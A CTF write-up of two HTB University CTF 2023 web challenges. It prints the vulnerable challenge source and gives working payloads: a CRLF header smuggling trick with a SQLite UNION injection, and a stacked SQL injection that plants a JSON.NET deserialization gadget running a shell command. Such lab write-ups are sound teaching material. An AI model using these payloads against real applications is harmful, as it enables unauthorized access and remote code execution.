HTB University CTF 2023 Web writeups
The web challenges depended on the source code review i have solved 2 out 3 web challenges
GateCrash challenge
we have a login page
on the backend we have a proxy written in nim programming language i did not know that it is exits before the CTF Lamo
import asyncdispatch, strutils, jester, httpClient, json
import std/uri
const userApi = "http://127.0.0.1:9090"
proc msgjson(msg: string): string =
"""{"msg": "$#"}""" % [msg]
proc containsSqlInjection(input: string): bool =
for c in input:
let ordC = ord(c)
if not ((ordC >= ord('a') and ordC <= ord('z')) or
(ordC >= ord('A') and ordC <= ord('Z')) or
(ordC >= ord('0') and ordC <= ord('9'))):
return true
return false
settings:
port = Port 1337
routes:
post "/user":
let username = @"username"
let password = @"password"
if containsSqlInjection(username) or containsSqlInjection(password):
resp msgjson("Malicious input detected")
let userAgent = decodeUrl(request.headers["user-agent"])
let jsonData = %*{
"username": username,
"password": password
}
let jsonStr = $jsonData
let client = newHttpClient(userAgent)
client.headers = newHttpHeaders({"Content-Type": "application/json"})
let response = client.request(userApi & "/login", httpMethod = HttpPost, body = jsonStr)
if response.code != Http200:
resp msgjson(response.body.strip())
resp msgjson(readFile("/flag.txt"))
runForever()
and a backend code written in go
package main
import (
"crypto/rand"
"database/sql"
"encoding/hex"
"encoding/json"
"fmt"
"log"
"net/http"
"strconv"
"strings"
"github.com/gorilla/mux"
_ "github.com/mattn/go-sqlite3"
"golang.org/x/crypto/bcrypt"
)
var db *sql.DB
var allowedUserAgents = []string{
"Mozilla/7.0",
"ChromeBot/9.5",
"SafariX/12.2",
"QuantumBreeze/3.0",
"EdgeWave/5.1",
"Dragonfly/8.0",
"LynxProwler/2.7",
"NavigatorX/4.3",
"BraveCat/1.8",
"OceanaBrowser/6.5",
}
const (
sqlitePath = "./user.db"
webPort = 9090
)
type User struct {
ID int
Username string
Password string
}
func randomHex(n int) (string, error) {
bytes := make([]byte, n)
if _, err := rand.Read(bytes); err != nil {
return "", err
}
return hex.EncodeToString(bytes), nil
}
func seedDatabase() {
createTable := `
CREATE TABLE IF NOT EXISTS users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT NOT NULL,
password TEXT NOT NULL
);
`
_, err := db.Exec(createTable)
if err != nil {
log.Fatal(err)
}
for i := 0; i < 10; i++ {
newUser, _ := randomHex(32)
newPass, _ := randomHex(32)
hashedPassword, err := bcrypt.GenerateFromPassword([]byte(newPass), bcrypt.DefaultCost)
if err != nil {
fmt.Println(err)
return
}
_, err = db.Exec("INSERT INTO users (username, password) VALUES ('" + newUser + "', '" + string(hashedPassword) + "');")
if err != nil {
fmt.Println(err)
return
}
}
}
func loginHandler(w http.ResponseWriter, r *http.Request) {
found := false
for _, userAgent := range allowedUserAgents {
if strings.Contains(r.Header.Get("User-Agent"), userAgent) {
found = true
break
}
}
if !found {
http.Error(w, "Browser not supported", http.StatusNotAcceptable)
return
}
var user User
err := json.NewDecoder(r.Body).Decode(&user)
if err != nil {
http.Error(w, err.Error(), http.StatusBadRequest)
return
}
userPassword := user.Password
row := db.QueryRow("SELECT * FROM users WHERE username='" + user.Username + "';")
err = row.Scan(&user.ID, &user.Username, &user.Password)
if err != nil {
http.Error(w, "Invalid username or password "+err.Error(), http.StatusUnauthorized)
return
}
err = bcrypt.CompareHashAndPassword([]byte(user.Password), []byte(userPassword))
if err != nil {
http.Error(w, "Invalid compare username or password"+err.Error(), http.StatusUnauthorized)
return
}
w.WriteHeader(http.StatusOK)
fmt.Fprintln(w, "Login successful")
}
func main() {
var err error
db, err = sql.Open("sqlite3", sqlitePath)
if err != nil {
log.Fatal(err)
}
defer db.Close()
seedDatabase()
r := mux.NewRouter()
r.HandleFunc("/login", loginHandler).Methods("POST")
http.Handle("/", r)
fmt.Println("Server is running on " + strconv.Itoa(webPort))
http.ListenAndServe(":"+strconv.Itoa(webPort), nil)
}
i will break through what we knew from the in points to not make the writeup too long
proxy (nim)
- from the proxy we know that we need to login to get the flag
- the proxy filter every char not in rang [a-zA-Z0–9] so there is no place for sql injection (till now)
- the proxy take the user-agent of the client and send it back to the server
- it take login data as post params and send it to the backend as json
backend (GO)
- the backend accept only specfic user-agents otherwise will return not supported agent
- there is no sql injection protection
- it search with the username and compare the hash given password with hash of the stored password
hot to exploit
- notice the user-agent header is taken in nim code without any protection , so i thought we can exploit through how the backend parse the request from the proxy
- the GO code use Contain to match the user-agent which is not a good idea because alongside the user agent we can add anything
- we can add CRLF to add headers or payloads to send it directly to the backend and bypass the proxy sqli filter
- before going to the sqli i faced a problem that the json payload must be the same length of the Post data length .My explanation for that is the proxy set the Conent-Length of its request based on the Post data not on my payload so i had to make them both the same length
- then make your sqli payload and send
(what we send)
POST /user HTTP/1.1
Host: challenge
User-Agent: Mozilla/7.0\r\n\r\n{"username":"sqli","password":"pass"}
Content-Length: n
......
username=&password
(what the proxy send to the backend)
POST /login HTTP/1.1
Host: internal ip
Content-Length: n
User-Agent: Mozilla/7.0
{"username":"sqli","password":"pass"}
ignroed because of the Content-Length by the parser
username=&password
Time to Poc :
i used this go code to create a hash for a password i want to inject
package main
import (
"fmt"
"golang.org/x/crypto/bcrypt"
)
func main() {
// Replace "password123" with the actual password you want to hash
password := "password123"
// Hashing the password
hashedPassword, err := bcrypt.GenerateFromPassword([]byte(password), bcrypt.DefaultCost)
if err != nil {
fmt.Println("Error:", err)
return
}
// Print the hashed password
fmt.Println("Hashed Password:", string(hashedPassword))
}
sqli payload used (not it is sqlite) , i return an id , username, hashed password as the server expected , the hash will be compared the password i send in the json
asas' union select 1 as id , hackeras username , $2a$10$N2/NBEeXbAL5XqK6l.ZLAuJkZgRcWE9SLcXJlQ.paq/5c0bTqoFne as password --
i used this code to test the server directly on my local machine
$ curl "http://localhost:9090/login" -X POST --data-binary $'{\"username\":\"asas\' union select 1 as id , \'hacker\' as username , \'$2a$10$N2/NBEeXbAL5XqK6l.ZLAuJkZgRcWE9SLcXJlQ.paq/5c0bTqoFne\' as password -- \", \"password\":\"password123\"}' -H "User-Agent: Mozilla/7.0" -H "Content-Type: application/json"
Finally time to get the flag
Nexus Void challenge
Let’s explore the app we have a login page
we can create account and login , we have a shopping app with some functionalities
this CTF based on source code review , the code was made by .NET framework, it was big and took time to review it, so i will post the important parts
here is where post request is made to add an item to the wishlist , vulnerable to sql injection
[HttpPost]
public IActionResult Wishlist(string name, string sellerName)
{
string ID = HttpContext.Items["ID"].ToString();
string sqlQueryGetWishlist = $"SELECT * from Wishlist WHERE ID={ID}";
var wishlist = _db.Wishlist.FromSqlRaw(sqlQueryGetWishlist).FirstOrDefault();
string sqlQueryProduct = $"SELECT * from Products WHERE name='{name}' AND sellerName='{sellerName}'";
Console.WriteLine(sqlQueryProduct);
var product = _db.Products.FromSqlRaw(sqlQueryProduct).FirstOrDefault();
here where the wishlist data retrieved from the database , the wishlist saved as serialized object then deserialized in here , vulnerable to insecure deserialization injection
[HttpGet]
public IActionResult Wishlist()
{
string ID = HttpContext.Items["ID"].ToString();
string sqlQueryGetWishlist = $"SELECT * from Wishlist WHERE ID='{ID}'";
var wishlist = _db.Wishlist.FromSqlRaw(sqlQueryGetWishlist).FirstOrDefault();
if (wishlist != null && !string.IsNullOrEmpty(wishlist.data))
{
List<ProductModel> products = SerializeHelper.Deserialize(wishlist.data);
return View(products);
}
else
{
List<ProductModel> products = null;
return View(products);
}
}
here a class used to execute command related to performance on the server , will use in the deserialization
using System.Diagnostics;
namespace Nexus_Void.Helpers
{
public class StatusCheckHelper
{
public string output { get; set; }
private string _command;
public string command
{
get { return _command; }
set
{
_command = value;
try
{
var p = new System.Diagnostics.Process();
var processStartInfo = new ProcessStartInfo()
{
WindowStyle = ProcessWindowStyle.Hidden,
FileName = $"/bin/bash",
WorkingDirectory = "/tmp",
Arguments = $"-c \"{_command}\"",
RedirectStandardOutput = true,
RedirectStandardError = true,
UseShellExecute = false
};
p.StartInfo = processStartInfo;
p.Start();
Console.WriteLine("command exuted");
Console.WriteLine(_command.ToString());
Console.WriteLine("out put"+p.StandardOutput.ReadToEnd());
output = p.StandardOutput.ReadToEnd();
}
catch
{
output = "Something went wrong!";
}
}
}
}
}
i think know it’s obvious what will do , sql injection to inject a malicious serialized object will used later in deserialization to execute code
it looks simple because i posted the important parts of the code only otherwise the source code space was 150 MB
Poc
i have tested the docker challenge locally and constructed this sqli payload
it’s injected in the seller name , and return an object of a product to add in the wishlist to not break the system
asaa' union select 1 , 'hacker113' ,'/images/weapon.png' , '0 hacked' , 'hacked' , 'my delulu' , '/images/back1.png' ) AS "n" LIMIT 1 ; /*
asaa' union select 1 , 'hacker3' ,'/images/weapon.png' , '0 hacked' , 'hacked' , 'my delulu' , '/images/back1.png' ) AS "n" LIMIT 1 ; /*
we succeed to add arbitrary item in our wishlist , but this only half the way
then insert or update other user’s wishlist serialized data, the reason why i did not injected the current user that the code update the serialized data of the user after adding item in the wishlist directly
asaa' union select 1 , 'hacker113' ,'/images/weapon.png' , '0 hacked' , 'hacked' , 'my delulu' , '/images/back1.png' ) AS "n" LIMIT 1 ; UPDATE Wishlist SET data='serialized' WHERE ID=2 ; /*
asaa' union select 1 , 'hacker3' ,'/images/weapon.png' , '0 hacked' , 'hacked' , 'my delulu' , '/images/back1.png' ) AS "n" LIMIT 1 ; INSERT INTO Wishlist(ID, username, data) VALUES(2,"test2","serialized") ; /*
but what is the serialized object we will pass and how to create it ?
StatusCheckHelper class that what we will use , .NET accept various of representation of serialized objects , our challenge use JSON.NET
using the help of this blog https://www.vaadata.com/blog/exploiting-and-preventing-insecure-deserialization-vulnerabilities/ i knew how to make the json
{"$type":"Nexus_Void.Helpers.StatusCheckHelper, Nexus_Void","command":"cat /flag.txt > /app/wwwroot/images/flag.txt"}
base64 it and add it in the sqli
asaa' union select 1 , 'hacker113' ,'/images/weapon.png' , '0 hacked' , 'hacked' , 'my delulu' , '/images/back1.png' ) AS "n" LIMIT 1 ; UPDATE Wishlist SET data='eyIkdHlwZSI6Ik5leHVzX1ZvaWQuSGVscGVycy5TdGF0dXNDaGVja0hlbHBlciwgTmV4dXNfVm9pZCIsImNvbW1hbmQiOiJjYXQgL2ZsYWcudHh0ID4gL2FwcC93d3dyb290L2ltYWdlcy9mbGFnLnR4dCAifQo=' WHERE ID=2 ; /*
asaa' union select 1 , 'hacker3' ,'/images/weapon.png' , '0 hacked' , 'hacked' , 'my delulu' , '/images/back1.png' ) AS "n" LIMIT 1 ; INSERT INTO Wishlist(ID, username, data) VALUES(2,"test2","eyIkdHlwZSI6Ik5leHVzX1ZvaWQuSGVscGVycy5TdGF0dXNDaGVja0hlbHBlciwgTmV4dXNfVm9pZCIsImNvbW1hbmQiOiJjYXQgL2ZsYWcudHh0ID4gL2FwcC93d3dyb290L2ltYWdlcy9mbGFnIn0K") ; /*
i have created another user , once we request the wishlist page , the server will retrieve our malicious object and execute the code
back to the json , i copied the flag to a public dir in the server then requested it through the browser
HTB{D0tN3t_d3s3r1al1z4t10n_v14_sQL_1NJ3CT10N_1s_fun!}